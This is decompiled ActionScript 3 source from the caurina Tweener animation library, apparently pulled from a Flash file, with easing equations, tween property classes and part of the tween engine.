Section 1
//AuxFunctions (caurina.transitions.AuxFunctions)
package caurina.transitions {
public class AuxFunctions {
public static function getObjectLength(_arg1:Object):uint{
var _local2:uint;
var _local3:String;
_local2 = 0;
for (_local3 in _arg1) {
_local2++;
};
return (_local2);
}
public static function numberToG(_arg1:Number):Number{
return (((_arg1 & 0xFF00) >> 8));
}
public static function numberToB(_arg1:Number):Number{
return ((_arg1 & 0xFF));
}
public static function numberToR(_arg1:Number):Number{
return (((_arg1 & 0xFF0000) >> 16));
}
public static function concatObjects(... _args):Object{
var _local2:Object;
var _local3:Object;
var _local4:int;
var _local5:String;
_local2 = {};
_local4 = 0;
while (_local4 < _args.length) {
_local3 = _args[_local4];
for (_local5 in _local3) {
if (_local3[_local5] == null){
delete _local2[_local5];
} else {
_local2[_local5] = _local3[_local5];
};
};
_local4++;
};
return (_local2);
}
}
}//package caurina.transitions
Section 2
//Equations (caurina.transitions.Equations)
package caurina.transitions {
public class Equations {
public function Equations(){
trace("Equations is a static class and should not be instantiated.");
}
public static function easeOutBounce(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
if (_arg1 < (1 / 2.75)){
return (((_arg3 * ((7.5625 * _arg1) * _arg1)) + _arg2));
};
if (_arg1 < (2 / 2.75)){
_arg1 = (_arg1 - (1.5 / 2.75));
return (((_arg3 * (((7.5625 * _arg1) * _arg1) + 0.75)) + _arg2));
};
if (_arg1 < (2.5 / 2.75)){
_arg1 = (_arg1 - (2.25 / 2.75));
return (((_arg3 * (((7.5625 * _arg1) * _arg1) + 0.9375)) + _arg2));
};
_arg1 = (_arg1 - (2.625 / 2.75));
return (((_arg3 * (((7.5625 * _arg1) * _arg1) + 0.984375)) + _arg2));
}
public static function easeInOutElastic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
var _local6:Number;
var _local7:Number;
var _local8:Number;
if (_arg1 == 0){
return (_arg2);
};
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 == 2){
return ((_arg2 + _arg3));
};
_local6 = (((!(Boolean(_arg5))) || (isNaN(_arg5.period)))) ? (_arg4 * (0.3 * 1.5)) : _arg5.period;
_local8 = (((!(Boolean(_arg5))) || (isNaN(_arg5.amplitude)))) ? 0 : _arg5.amplitude;
if (((!(Boolean(_local8))) || ((_local8 < Math.abs(_arg3))))){
_local8 = _arg3;
_local7 = (_local6 / 4);
} else {
_local7 = ((_local6 / (2 * Math.PI)) * Math.asin((_arg3 / _local8)));
};
if (_arg1 < 1){
--_arg1;
return (((-0.5 * ((_local8 * Math.pow(2, (10 * _arg1))) * Math.sin(((((_arg1 * _arg4) - _local7) * (2 * Math.PI)) / _local6)))) + _arg2));
};
--_arg1;
return ((((((_local8 * Math.pow(2, (-10 * _arg1))) * Math.sin(((((_arg1 * _arg4) - _local7) * (2 * Math.PI)) / _local6))) * 0.5) + _arg3) + _arg2));
}
public static function easeInOutQuad(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
return (((((_arg3 / 2) * _arg1) * _arg1) + _arg2));
};
--_arg1;
return ((((-(_arg3) / 2) * ((_arg1 * (_arg1 - 2)) - 1)) + _arg2));
}
public static function easeInOutBounce(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (((easeInBounce((_arg1 * 2), 0, _arg3, _arg4) * 0.5) + _arg2));
};
return ((((easeOutBounce(((_arg1 * 2) - _arg4), 0, _arg3, _arg4) * 0.5) + (_arg3 * 0.5)) + _arg2));
}
public static function easeInOutBack(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
var _local6:Number;
_local6 = (((!(Boolean(_arg5))) || (isNaN(_arg5.overshoot)))) ? 1.70158 : _arg5.overshoot;
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
_local6 = (_local6 * 1.525);
return ((((_arg3 / 2) * ((_arg1 * _arg1) * (((_local6 + 1) * _arg1) - _local6))) + _arg2));
};
_arg1 = (_arg1 - 2);
_local6 = (_local6 * 1.525);
return ((((_arg3 / 2) * (((_arg1 * _arg1) * (((_local6 + 1) * _arg1) + _local6)) + 2)) + _arg2));
}
public static function easeOutInCubic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutCubic((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInCubic(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeNone(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return ((((_arg3 * _arg1) / _arg4) + _arg2));
}
public static function easeOutBack(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
var _local6:Number;
_local6 = (((!(Boolean(_arg5))) || (isNaN(_arg5.overshoot)))) ? 1.70158 : _arg5.overshoot;
_arg1 = ((_arg1 / _arg4) - 1);
return (((_arg3 * (((_arg1 * _arg1) * (((_local6 + 1) * _arg1) + _local6)) + 1)) + _arg2));
}
public static function easeInOutSine(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return ((((-(_arg3) / 2) * (Math.cos(((Math.PI * _arg1) / _arg4)) - 1)) + _arg2));
}
public static function easeInBack(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
var _local6:Number;
_local6 = (((!(Boolean(_arg5))) || (isNaN(_arg5.overshoot)))) ? 1.70158 : _arg5.overshoot;
_arg1 = (_arg1 / _arg4);
return (((((_arg3 * _arg1) * _arg1) * (((_local6 + 1) * _arg1) - _local6)) + _arg2));
}
public static function easeInQuart(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
return ((((((_arg3 * _arg1) * _arg1) * _arg1) * _arg1) + _arg2));
}
public static function easeOutInQuint(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutQuint((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInQuint(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeOutInBounce(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutBounce((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInBounce(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function init():void{
Tweener.registerTransition("easenone", easeNone);
Tweener.registerTransition("linear", easeNone);
Tweener.registerTransition("easeinquad", easeInQuad);
Tweener.registerTransition("easeoutquad", easeOutQuad);
Tweener.registerTransition("easeinoutquad", easeInOutQuad);
Tweener.registerTransition("easeoutinquad", easeOutInQuad);
Tweener.registerTransition("easeincubic", easeInCubic);
Tweener.registerTransition("easeoutcubic", easeOutCubic);
Tweener.registerTransition("easeinoutcubic", easeInOutCubic);
Tweener.registerTransition("easeoutincubic", easeOutInCubic);
Tweener.registerTransition("easeinquart", easeInQuart);
Tweener.registerTransition("easeoutquart", easeOutQuart);
Tweener.registerTransition("easeinoutquart", easeInOutQuart);
Tweener.registerTransition("easeoutinquart", easeOutInQuart);
Tweener.registerTransition("easeinquint", easeInQuint);
Tweener.registerTransition("easeoutquint", easeOutQuint);
Tweener.registerTransition("easeinoutquint", easeInOutQuint);
Tweener.registerTransition("easeoutinquint", easeOutInQuint);
Tweener.registerTransition("easeinsine", easeInSine);
Tweener.registerTransition("easeoutsine", easeOutSine);
Tweener.registerTransition("easeinoutsine", easeInOutSine);
Tweener.registerTransition("easeoutinsine", easeOutInSine);
Tweener.registerTransition("easeincirc", easeInCirc);
Tweener.registerTransition("easeoutcirc", easeOutCirc);
Tweener.registerTransition("easeinoutcirc", easeInOutCirc);
Tweener.registerTransition("easeoutincirc", easeOutInCirc);
Tweener.registerTransition("easeinexpo", easeInExpo);
Tweener.registerTransition("easeoutexpo", easeOutExpo);
Tweener.registerTransition("easeinoutexpo", easeInOutExpo);
Tweener.registerTransition("easeoutinexpo", easeOutInExpo);
Tweener.registerTransition("easeinelastic", easeInElastic);
Tweener.registerTransition("easeoutelastic", easeOutElastic);
Tweener.registerTransition("easeinoutelastic", easeInOutElastic);
Tweener.registerTransition("easeoutinelastic", easeOutInElastic);
Tweener.registerTransition("easeinback", easeInBack);
Tweener.registerTransition("easeoutback", easeOutBack);
Tweener.registerTransition("easeinoutback", easeInOutBack);
Tweener.registerTransition("easeoutinback", easeOutInBack);
Tweener.registerTransition("easeinbounce", easeInBounce);
Tweener.registerTransition("easeoutbounce", easeOutBounce);
Tweener.registerTransition("easeinoutbounce", easeInOutBounce);
Tweener.registerTransition("easeoutinbounce", easeOutInBounce);
}
public static function easeOutExpo(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return (((_arg1)==_arg4) ? (_arg2 + _arg3) : (((_arg3 * 1.001) * (-(Math.pow(2, ((-10 * _arg1) / _arg4))) + 1)) + _arg2));
}
public static function easeOutInBack(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutBack((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInBack(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeInExpo(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return (((_arg1)==0) ? _arg2 : (((_arg3 * Math.pow(2, (10 * ((_arg1 / _arg4) - 1)))) + _arg2) - (_arg3 * 0.001)));
}
public static function easeInCubic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
return (((((_arg3 * _arg1) * _arg1) * _arg1) + _arg2));
}
public static function easeInQuint(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
return (((((((_arg3 * _arg1) * _arg1) * _arg1) * _arg1) * _arg1) + _arg2));
}
public static function easeInOutCirc(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
return ((((-(_arg3) / 2) * (Math.sqrt((1 - (_arg1 * _arg1))) - 1)) + _arg2));
};
_arg1 = (_arg1 - 2);
return ((((_arg3 / 2) * (Math.sqrt((1 - (_arg1 * _arg1))) + 1)) + _arg2));
}
public static function easeInQuad(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
return ((((_arg3 * _arg1) * _arg1) + _arg2));
}
public static function easeInBounce(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return (((_arg3 - easeOutBounce((_arg4 - _arg1), 0, _arg3, _arg4)) + _arg2));
}
public static function easeOutInExpo(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutExpo((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInExpo(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeOutQuart(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = ((_arg1 / _arg4) - 1);
return (((-(_arg3) * ((((_arg1 * _arg1) * _arg1) * _arg1) - 1)) + _arg2));
}
public static function easeInSine(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return ((((-(_arg3) * Math.cos(((_arg1 / _arg4) * (Math.PI / 2)))) + _arg3) + _arg2));
}
public static function easeInOutQuart(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
return (((((((_arg3 / 2) * _arg1) * _arg1) * _arg1) * _arg1) + _arg2));
};
_arg1 = (_arg1 - 2);
return ((((-(_arg3) / 2) * ((((_arg1 * _arg1) * _arg1) * _arg1) - 2)) + _arg2));
}
public static function easeOutQuad(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
return ((((-(_arg3) * _arg1) * (_arg1 - 2)) + _arg2));
}
public static function easeOutInElastic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutElastic((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInElastic(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeInElastic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
var _local6:Number;
var _local7:Number;
var _local8:Number;
if (_arg1 == 0){
return (_arg2);
};
_arg1 = (_arg1 / _arg4);
if (_arg1 == 1){
return ((_arg2 + _arg3));
};
_local6 = (((!(Boolean(_arg5))) || (isNaN(_arg5.period)))) ? (_arg4 * 0.3) : _arg5.period;
_local8 = (((!(Boolean(_arg5))) || (isNaN(_arg5.amplitude)))) ? 0 : _arg5.amplitude;
if (((!(Boolean(_local8))) || ((_local8 < Math.abs(_arg3))))){
_local8 = _arg3;
_local7 = (_local6 / 4);
} else {
_local7 = ((_local6 / (2 * Math.PI)) * Math.asin((_arg3 / _local8)));
};
--_arg1;
return ((-(((_local8 * Math.pow(2, (10 * _arg1))) * Math.sin(((((_arg1 * _arg4) - _local7) * (2 * Math.PI)) / _local6)))) + _arg2));
}
public static function easeOutCubic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = ((_arg1 / _arg4) - 1);
return (((_arg3 * (((_arg1 * _arg1) * _arg1) + 1)) + _arg2));
}
public static function easeOutQuint(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = ((_arg1 / _arg4) - 1);
return (((_arg3 * (((((_arg1 * _arg1) * _arg1) * _arg1) * _arg1) + 1)) + _arg2));
}
public static function easeOutInQuad(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutQuad((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInQuad(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeOutSine(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
return (((_arg3 * Math.sin(((_arg1 / _arg4) * (Math.PI / 2)))) + _arg2));
}
public static function easeInOutCubic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
return ((((((_arg3 / 2) * _arg1) * _arg1) * _arg1) + _arg2));
};
_arg1 = (_arg1 - 2);
return ((((_arg3 / 2) * (((_arg1 * _arg1) * _arg1) + 2)) + _arg2));
}
public static function easeInOutQuint(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
return ((((((((_arg3 / 2) * _arg1) * _arg1) * _arg1) * _arg1) * _arg1) + _arg2));
};
_arg1 = (_arg1 - 2);
return ((((_arg3 / 2) * (((((_arg1 * _arg1) * _arg1) * _arg1) * _arg1) + 2)) + _arg2));
}
public static function easeInCirc(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = (_arg1 / _arg4);
return (((-(_arg3) * (Math.sqrt((1 - (_arg1 * _arg1))) - 1)) + _arg2));
}
public static function easeOutInSine(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutSine((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInSine(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeInOutExpo(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 == 0){
return (_arg2);
};
if (_arg1 == _arg4){
return ((_arg2 + _arg3));
};
_arg1 = (_arg1 / (_arg4 / 2));
if (_arg1 < 1){
return (((((_arg3 / 2) * Math.pow(2, (10 * (_arg1 - 1)))) + _arg2) - (_arg3 * 0.0005)));
};
--_arg1;
return (((((_arg3 / 2) * 1.0005) * (-(Math.pow(2, (-10 * _arg1))) + 2)) + _arg2));
}
public static function easeOutElastic(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
var _local6:Number;
var _local7:Number;
var _local8:Number;
if (_arg1 == 0){
return (_arg2);
};
_arg1 = (_arg1 / _arg4);
if (_arg1 == 1){
return ((_arg2 + _arg3));
};
_local6 = (((!(Boolean(_arg5))) || (isNaN(_arg5.period)))) ? (_arg4 * 0.3) : _arg5.period;
_local8 = (((!(Boolean(_arg5))) || (isNaN(_arg5.amplitude)))) ? 0 : _arg5.amplitude;
if (((!(Boolean(_local8))) || ((_local8 < Math.abs(_arg3))))){
_local8 = _arg3;
_local7 = (_local6 / 4);
} else {
_local7 = ((_local6 / (2 * Math.PI)) * Math.asin((_arg3 / _local8)));
};
return (((((_local8 * Math.pow(2, (-10 * _arg1))) * Math.sin(((((_arg1 * _arg4) - _local7) * (2 * Math.PI)) / _local6))) + _arg3) + _arg2));
}
public static function easeOutCirc(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
_arg1 = ((_arg1 / _arg4) - 1);
return (((_arg3 * Math.sqrt((1 - (_arg1 * _arg1)))) + _arg2));
}
public static function easeOutInQuart(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutQuart((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInQuart(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
public static function easeOutInCirc(_arg1:Number, _arg2:Number, _arg3:Number, _arg4:Number, _arg5:Object=null):Number{
if (_arg1 < (_arg4 / 2)){
return (easeOutCirc((_arg1 * 2), _arg2, (_arg3 / 2), _arg4, _arg5));
};
return (easeInCirc(((_arg1 * 2) - _arg4), (_arg2 + (_arg3 / 2)), (_arg3 / 2), _arg4, _arg5));
}
}
}//package caurina.transitions
Section 3
//PropertyInfoObj (caurina.transitions.PropertyInfoObj)
package caurina.transitions {
public class PropertyInfoObj {
public var originalValueComplete:Object;
public var modifierParameters:Array;
public var isSpecialProperty:Boolean;
public var hasModifier:Boolean;
public var valueComplete:Number;
public var extra:Object;
public var valueStart:Number;
public var modifierFunction:Function;
public var arrayIndex:Number;
public function PropertyInfoObj(_arg1:Number, _arg2:Number, _arg3:Object, _arg4:Number, _arg5:Object, _arg6:Boolean, _arg7:Function, _arg8:Array){
valueStart = _arg1;
valueComplete = _arg2;
originalValueComplete = _arg3;
arrayIndex = _arg4;
extra = _arg5;
isSpecialProperty = _arg6;
hasModifier = Boolean(_arg7);
modifierFunction = _arg7;
modifierParameters = _arg8;
}
public function toString():String{
var _local1:String;
_local1 = "\n[PropertyInfoObj ";
_local1 = (_local1 + ("valueStart:" + String(valueStart)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("valueComplete:" + String(valueComplete)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("originalValueComplete:" + String(originalValueComplete)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("arrayIndex:" + String(arrayIndex)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("extra:" + String(extra)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("isSpecialProperty:" + String(isSpecialProperty)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("hasModifier:" + String(hasModifier)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("modifierFunction:" + String(modifierFunction)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("modifierParameters:" + String(modifierParameters)));
_local1 = (_local1 + "]\n");
return (_local1);
}
public function clone():PropertyInfoObj{
var _local1:PropertyInfoObj;
_local1 = new PropertyInfoObj(valueStart, valueComplete, originalValueComplete, arrayIndex, extra, isSpecialProperty, modifierFunction, modifierParameters);
return (_local1);
}
}
}//package caurina.transitions
Section 4
//SpecialProperty (caurina.transitions.SpecialProperty)
package caurina.transitions {
public class SpecialProperty {
public var parameters:Array;
public var preProcess:Function;
public var setValue:Function;
public var getValue:Function;
public function SpecialProperty(_arg1:Function, _arg2:Function, _arg3:Array=null, _arg4:Function=null){
getValue = _arg1;
setValue = _arg2;
parameters = _arg3;
preProcess = _arg4;
}
public function toString():String{
var _local1:String;
_local1 = "";
_local1 = (_local1 + "[SpecialProperty ");
_local1 = (_local1 + ("getValue:" + String(getValue)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("setValue:" + String(setValue)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("parameters:" + String(parameters)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("preProcess:" + String(preProcess)));
_local1 = (_local1 + "]");
return (_local1);
}
}
}//package caurina.transitions
Section 5
//SpecialPropertyModifier (caurina.transitions.SpecialPropertyModifier)
package caurina.transitions {
public class SpecialPropertyModifier {
public var getValue:Function;
public var modifyValues:Function;
public function SpecialPropertyModifier(_arg1:Function, _arg2:Function){
modifyValues = _arg1;
getValue = _arg2;
}
public function toString():String{
var _local1:String;
_local1 = "";
_local1 = (_local1 + "[SpecialPropertyModifier ");
_local1 = (_local1 + ("modifyValues:" + String(modifyValues)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("getValue:" + String(getValue)));
_local1 = (_local1 + "]");
return (_local1);
}
}
}//package caurina.transitions
Section 6
//SpecialPropertySplitter (caurina.transitions.SpecialPropertySplitter)
package caurina.transitions {
public class SpecialPropertySplitter {
public var parameters:Array;
public var splitValues:Function;
public function SpecialPropertySplitter(_arg1:Function, _arg2:Array){
splitValues = _arg1;
parameters = _arg2;
}
public function toString():String{
var _local1:String;
_local1 = "";
_local1 = (_local1 + "[SpecialPropertySplitter ");
_local1 = (_local1 + ("splitValues:" + String(splitValues)));
_local1 = (_local1 + ", ");
_local1 = (_local1 + ("parameters:" + String(parameters)));
_local1 = (_local1 + "]");
return (_local1);
}
}
}//package caurina.transitions
Section 7
//Tweener (caurina.transitions.Tweener)
package caurina.transitions {
import flash.display.*;
import flash.events.*;
import flash.utils.*;
public class Tweener {
private static var _timeScale:Number = 1;
private static var _currentTimeFrame:Number;
private static var _specialPropertySplitterList:Object;
private static var _engineExists:Boolean = false;
private static var _specialPropertyModifierList:Object;
private static var _currentTime:Number;
private static var _tweenList:Array;
private static var _specialPropertyList:Object;
private static var _transitionList:Object;
private static var _inited:Boolean = false;
private static var __tweener_controller__:MovieClip;
public function Tweener(){
trace("Tweener is a static class and should not be instantiated.");
}
public static function registerSpecialPropertyModifier(_arg1:String, _arg2:Function, _arg3:Function):void{
var _local4:SpecialPropertyModifier;
if (!_inited){
init();
};
_local4 = new SpecialPropertyModifier(_arg2, _arg3);
_specialPropertyModifierList[_arg1] = _local4;
}
public static function registerSpecialProperty(_arg1:String, _arg2:Function, _arg3:Function, _arg4:Array=null, _arg5:Function=null):void{
var _local6:SpecialProperty;
if (!_inited){
init();
};
_local6 = new SpecialProperty(_arg2, _arg3, _arg4, _arg5);
_specialPropertyList[_arg1] = _local6;
}
public static function init(... _args):void{
_inited = true;
_transitionList = new Object();
Equations.init();
_specialPropertyList = new Object();
_specialPropertyModifierList = new Object();
_specialPropertySplitterList = new Object();
}
private static function updateTweens():Boolean{
var _local1:int;
if (_tweenList.length == 0){
return (false);
};
_local1 = 0;
while (_local1 < _tweenList.length) {
if ((((_tweenList[_local1] == undefined)) || (!(_tweenList[_local1].isPaused)))){
if (!updateTweenByIndex(_local1)){
removeTweenByIndex(_local1);
};
if (_tweenList[_local1] == null){
removeTweenByIndex(_local1, true);
_local1--;
};
};
_local1++;
};
return (true);
}
public static function addCaller(_arg1:Object=null, _arg2:Object=null):Boolean{
var _local3:Number;
var _local4:Array;
var _local5:Object;
var _local6:Number;
var _local7:Number;
var _local8:Function;
var _local9:TweenListObj;
var _local10:Number;
var _local11:String;
if (!Boolean(_arg1)){
return (false);
};
if ((_arg1 is Array)){
_local4 = _arg1.concat();
} else {
_local4 = [_arg1];
};
_local5 = _arg2;
if (!_inited){
init();
};
if (((!(_engineExists)) || (!(Boolean(__tweener_controller__))))){
startEngine();
};
_local6 = (isNaN(_local5.time)) ? 0 : _local5.time;
_local7 = (isNaN(_local5.delay)) ? 0 : _local5.delay;
if (typeof(_local5.transition) == "string"){
_local11 = _local5.transition.toLowerCase();
_local8 = _transitionList[_local11];
} else {
_local8 = _local5.transition;
};
if (!Boolean(_local8)){
_local8 = _transitionList["easeoutexpo"];
};
_local3 = 0;
while (_local3 < _local4.length) {
if (_local5.useFrames == true){
_local9 = new TweenListObj(_local4[_local3], (_currentTimeFrame + (_local7 / _timeScale)), (_currentTimeFrame + ((_local7 + _local6) / _timeScale)), true, _local8, _local5.transitionParams);
} else {
_local9 = new TweenListObj(_local4[_local3], (_currentTime + ((_local7 * 1000) / _timeScale)), (_currentTime + (((_local7 * 1000) + (_local6 * 1000)) / _timeScale)), false, _local8, _local5.transitionParams);
};
_local9.properties = null;
_local9.onStart = _local5.onStart;
_local9.onUpdate = _local5.onUpdate;
_local9.onComplete = _local5.onComplete;
_local9.onOverwrite = _local5.onOverwrite;
_local9.onStartParams = _local5.onStartParams;
_local9.onUpdateParams = _local5.onUpdateParams;
_local9.onCompleteParams = _local5.onCompleteParams;
_local9.onOverwriteParams = _local5.onOverwriteParams;
_local9.onStartScope = _local5.onStartScope;
_local9.onUpdateScope = _local5.onUpdateScope;
_local9.onCompleteScope = _local5.onCompleteScope;
_local9.onOverwriteScope = _local5.onOverwriteScope;
_local9.onErrorScope = _local5.onErrorScope;
_local9.isCaller = true;
_local9.count = _local5.count;
_local9.waitFrames = _local5.waitFrames;
_tweenList.push(_local9);
if ((((_local6 == 0)) && ((_local7 == 0)))){
_local10 = (_tweenList.length - 1);
updateTweenByIndex(_local10);
removeTweenByIndex(_local10);
};
_local3++;
};
return (true);
}
public static function pauseAllTweens():Boolean{
var _local1:Boolean;
var _local2:uint;
if (!Boolean(_tweenList)){
return (false);
};
_local1 = false;
_local2 = 0;
while (_local2 < _tweenList.length) {
pauseTweenByIndex(_local2);
_local1 = true;
_local2++;
};
return (_local1);
}
public static function removeTweens(_arg1:Object, ... _args):Boolean{
var _local3:Array;
var _local4:uint;
var _local5:SpecialPropertySplitter;
var _local6:Array;
var _local7:uint;
_local3 = new Array();
_local4 = 0;
while (_local4 < _args.length) {
if ((((typeof(_args[_local4]) == "string")) && ((_local3.indexOf(_args[_local4]) == -1)))){
if (_specialPropertySplitterList[_args[_local4]]){
_local5 = _specialPropertySplitterList[_args[_local4]];
_local6 = _local5.splitValues(_arg1, null);
_local7 = 0;
while (_local7 < _local6.length) {
_local3.push(_local6[_local7].name);
_local7++;
};
} else {
_local3.push(_args[_local4]);
};
};
_local4++;
};
return (affectTweens(removeTweenByIndex, _arg1, _local3));
}
public static function splitTweens(_arg1:Number, _arg2:Array):uint{
var _local3:TweenListObj;
var _local4:TweenListObj;
var _local5:uint;
var _local6:String;
var _local7:Boolean;
_local3 = _tweenList[_arg1];
_local4 = _local3.clone(false);
_local5 = 0;
while (_local5 < _arg2.length) {
_local6 = _arg2[_local5];
if (Boolean(_local3.properties[_local6])){
_local3.properties[_local6] = undefined;
delete _local3.properties[_local6];
};
_local5++;
};
for (_local6 in _local4.properties) {
_local7 = false;
_local5 = 0;
while (_local5 < _arg2.length) {
if (_arg2[_local5] == _local6){
_local7 = true;
break;
};
_local5++;
};
if (!_local7){
_local4.properties[_local6] = undefined;
delete _local4.properties[_local6];
};
};
_tweenList.push(_local4);
return ((_tweenList.length - 1));
}
public static function updateFrame():void{
_currentTimeFrame++;
}
public static function resumeTweenByIndex(_arg1:Number):Boolean{
var _local2:TweenListObj;
var _local3:Number;
_local2 = _tweenList[_arg1];
if ((((_local2 == null)) || (!(_local2.isPaused)))){
return (false);
};
_local3 = getCurrentTweeningTime(_local2);
_local2.timeStart = (_local2.timeStart + (_local3 - _local2.timePaused));
_local2.timeComplete = (_local2.timeComplete + (_local3 - _local2.timePaused));
_local2.timePaused = undefined;
_local2.isPaused = false;
return (true);
}
public static function getVersion():String{
return ("AS3 1.31.74");
}
public static function onEnterFrame(_arg1:Event):void{
var _local2:Boolean;
updateTime();
updateFrame();
_local2 = false;
_local2 = updateTweens();
if (!_local2){
stopEngine();
};
}
public static function updateTime():void{
_currentTime = getTimer();
}
